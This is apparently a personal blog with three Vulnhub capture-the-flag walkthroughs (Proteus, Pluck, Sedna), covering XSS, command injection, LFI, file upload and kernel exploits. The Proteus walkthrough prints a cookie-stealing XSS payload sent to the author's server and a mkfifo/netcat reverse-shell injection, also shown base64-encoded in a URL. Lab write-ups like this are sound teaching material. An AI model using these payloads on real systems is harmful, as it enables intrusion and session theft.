Saturday, 1 July 2017

Proteus Pwn4g3

Hi Everyone,

Over this blogpost, I shall write about how I cracked a recently hosted challenge on vulnhub named "Proteus".

Looking at the machine description over Vulnhub:



The machine simulates an environment where you can upload executable files and performs malware analysis over it.

I download the OVA and setup my kali and vulnerable machine on the same network.

First and foremost, network discovery:



So the IP I shall be targeting is 192.168.137.250

I ran nmap and two services stand out:
1. ssh ==> port 22
2. http ==> port 80



I tried checking over ssh but it seems only key based login is allowed.

I shifted my focus over to port:80



Immediately striking are two things:

1. File upload feature
2. Login functionality

It seemed that the file upload is based on mime type and only executable file or sharedlib types are supported for uploads.

First I tried uploading a normal file and as an output we get binary analysis of the file.
Checking the output I see that all the ascii strings inside the binary file are rendered as is on the webpage.

This could be the first foothold. Probably html special characters are not escaped!

I immediately inject the following code into a binary file:

echo "<b>I am here</b>" >> bFile

bFIle is the binary/executable file

and dang! we have html rendered on page :D

So now we have a clear case of XSS so my next thought was if there is XSS, could there be another client visiting the page other than myself!

I uploaded another file and this time with an iframe injection such that I points to my evil server:

echo "<iframe src='http://myIP'></iframe>" >> binaryFile

And I upload this binaryFile.

On my local machine I keep monitoring my apache access logs and dang! second foothold!

I clearly see PhantomJS web automation trying to access my apache server from Proteus machine.

Now connecting the dots, I see myself logged as anonymous user and if there is another person visiting the webiste locally on the Proteus machine, could it be the site administrator??

Time for cookie stealing again thanks to XSS!!

I inject the following payload to the binary file:

echo "<script>document.write('<img src=\"http://myIP?c=' + document.cookie + '\" />')</script>" >> binaryFile

And I wait quitely over my evil server (evil Laugh hehehe)

And voila! cookie stolen!






I fire my burp, intercept the login request and swap the cookie value and dang!
Logged in as "malwareadm"


Okay so till now its some good progress and I am pretty satisfied but whats next??

The only additional functionality I notice is that this account has the ability to delete uploaded samples.

I run dirbuster/gobuster with the admin cookie included but no more pages, no more functionality apart from this!

This was where I hit wall and couldn't think further.

The only thing that stood out was the deletion function.

I noticed that while deleting a file, the URL was as: http://proteusIP/delete/<base64-value>

This base64 encoded value when decoded gave a timestamp sort of number with a "." character at the end.

e.g. : "54752987376." (excluding quotes)

Here I spent ages what to do next!

[Screenshot of the filenames which are stored in Proteus as samples]


Finally by a hint from my friend, I was pointed to a direction to fuzz the base64 decoded value so I started putting random stuff but got 404's instead.

Next I tried keeping a valid base64 encoded value but appending some characters and finally encoding it with linux command

e.g.: 
"654239019471.id" --> dint work!!

"134253687542id" --> dint damn work!!

"45324599572.;id" --> dang!! This worked.

(note that all the numeric values shown above pertain to valid file names, nonexistent file names wont work!)

I got id = 33 (www-data) user and this is where command injection lies!!

I wasted no time by appending the netcat reverse shell but damn! that didnt work as the proteus netcat does not have "-e" option so what to do!

I appended the following to the file name I wanted to delete:

"246526752853.;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f"

The above value was base64 encoded and the request looked like below:

http://proteus_IP/delete/MjQ2NTI2NzUyODUzLjtybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4wLjAuMSAxMjM0ID4vdG1wL2Y=

On the other hand, my netcat listener was fired up and dang!
Shell is OBTAINED :D




Next step: Privilege Escalation

So, now we have an interactive shell and enumerating the user I see folder malwareadm in /home directory.

Under this folder is the js file which is automating the page visiting activity of malwareadm.
Reading this file we can see the URL encoded password of malwareadm

I try loggin in as malwareadm and am successful!

Checking permission of malwareadm it seems it is a part of adm so just doing a sudo -i made me a root user!!

Pwn4g3!



The flag is under the /root folder and is a png file:




The privilege escalation was kinda anti-climatic. I was anticipating more of a challenge there.

My thoughts:

I clearly had lost directing once I logged in as malwareadm and even though the delete functionality stood out, I couldn't just think what to do next of it.

The machine provided a good level of challenge to me and I was quite thrilled and satisfied as I completed this challenge.

Thanks ivanvza for creating this vulnerable machine and thanks to vulnhub for hosting it.

                                                                                                                                -n1ghTcr4wl3r 







Friday, 17 March 2017

Pluck w00t!

Time to Pluck!

Though a bit late, I decided to give this machine a try!

As with all almost every machine I began with arp-scan/netdiscover:


Once this is done, next I try to do a port scan on the host.

I began with the tcp scan while upd scans taking more time ran in the background.
Since port 80 was open, I ran nikto in other window.


Post this is done, I move next to check banners on each service.

SSH dint give any banner, neither mysql or llmnr protocol so I tried to enumerate the web.

Just before I went to check the web service, I looked at the nikto results and they were interesting!


Now, this was very interesting, an LFI!!

Meanwhile I had also tried fuzzing the admin page on the webservice and it revealed sql injection:


Now, I had two vectors so I thought lets begin with the LFI.

Doing a /etc/passwd dumped all the contents!!


But Trying lfi on other files like apache logs etc was not getting possible (permission issue??)

This was when something caught my eye....  There was an entry in /etc/passwd called backup-user!

Moreover, there was a script to it!

Reading the same script revealed another gateway.




Tftp was going to come in picture but is it open! Dang! Nmap for udp scan showed me port 69 for tftp was open!

Next I just get the backup file!



Now checking the backup.tar file I see /home directory. Looking further there are ssh keys in paul's directory. I make permissions changes in the keys and try one by one all 4 private keys.

key number 4 works for me and I login, but login is not a shell but a command line menu :D





Next step, I look at the various options but Edit file caught my eye! The editor was vi editor in this case. So I can do a shell escape sequence.

set shell=/bin/bash
:shell

And I get interactive session!



Next priv escalation!

I see its a very new kernel.
Searching exploits for this kernel gave me one DoS exploit but that wont work. I have to r00t!

Checking file permissions I see setuid bit on exim! That could be one vector (maybe???)

However, I thought why not try kernel exploits and dirtycow was a pure random guess!

And it worked!




w00t w00t!

And flag is captured!

Overall an awesome machine and very satisfying! Reminds me of my oscp frustration days!

Thanks vulnhub 4 hosting and @ryanoberto for making this VM!

-n!ghtcr4wl3r
I picked up Sedna and these were the steps:

Like any machine, starting with arp-scan to first know the machine IP:

arp-scan -l



The machine got detected at 192.168.137.152

The next step was to run an nmap scan:



From here, I decided that I shall  be concentrating on port 80.

First checking the webpage:


I decided I shall have a peek at the robots.txt as well:


going to /Hackers gave 404 -Not found! Damn! :D

Meanwhile in background, I was running gobuster.

Doing web enumeration and checking web page sources dint reveal much!
I decided to check my gobuster results:


Manually enumerating the dirbuster pointed folders, I quickly became clear that builderengine was running.

Next, a searchsploit revealed exploit for arbitrary upload in BuilderEngine.


Seems BuilderEngine is vulnerable to arbitrary file uploads on the directory:
http://IP_Addr/themes/dashboard/assets/plugins/jquery-file-upload/server/php/

I uploaded a simple php reverse shell to received reverse shell on listening port 443.



And I got the limited shell:



And the first flag :D

/var/html
cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289

Privilege Escalation:

It became very clear that in world writeable files:

    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/systemd/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/hugetlb/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/perf_event/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/blkio/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/freezer/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/devices/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/memory/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/cpuacct/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/cpu/cgroup.event_control
    --w--w--w- 1 root root 0 Mar 16 11:09 /sys/fs/cgroup/cpuset/cgroup.event_control
    -rw-rw-rw- 1 root root 0 Mar 16 11:09 /sys/kernel/security/apparmor/.access

Apparmor was writeable.

So taking some clue, I first tried overlayfs local exploit as it involves using the apparmor directory.

https://www.exploit-db.com/exploits/37292/

The exploit matched exactly with the kernel version and the release.

Running the exploit, it was giving its output in all fprintf statements but It failed.
Checking the C code, it seems there is on "su" file in /bin by default!

In this stage, I enumerated further on the misconfigurations part, I could not find much so ...

So, back again I went back to check more exploits for the kernel and the OS release.

The OS being 14.04 has another matching exploit:

https://www.exploit-db.com/exploits/36746/

For 14.04, the exploit apport worked just fine and root shell was achieved.


And the next flag!

/root
cat flag.txt
a10828bee17db751de4b936614558305

There are two more flags, I am lazy so going to skip those in ths walkthrough...
(Maybe I will do tat later...) :D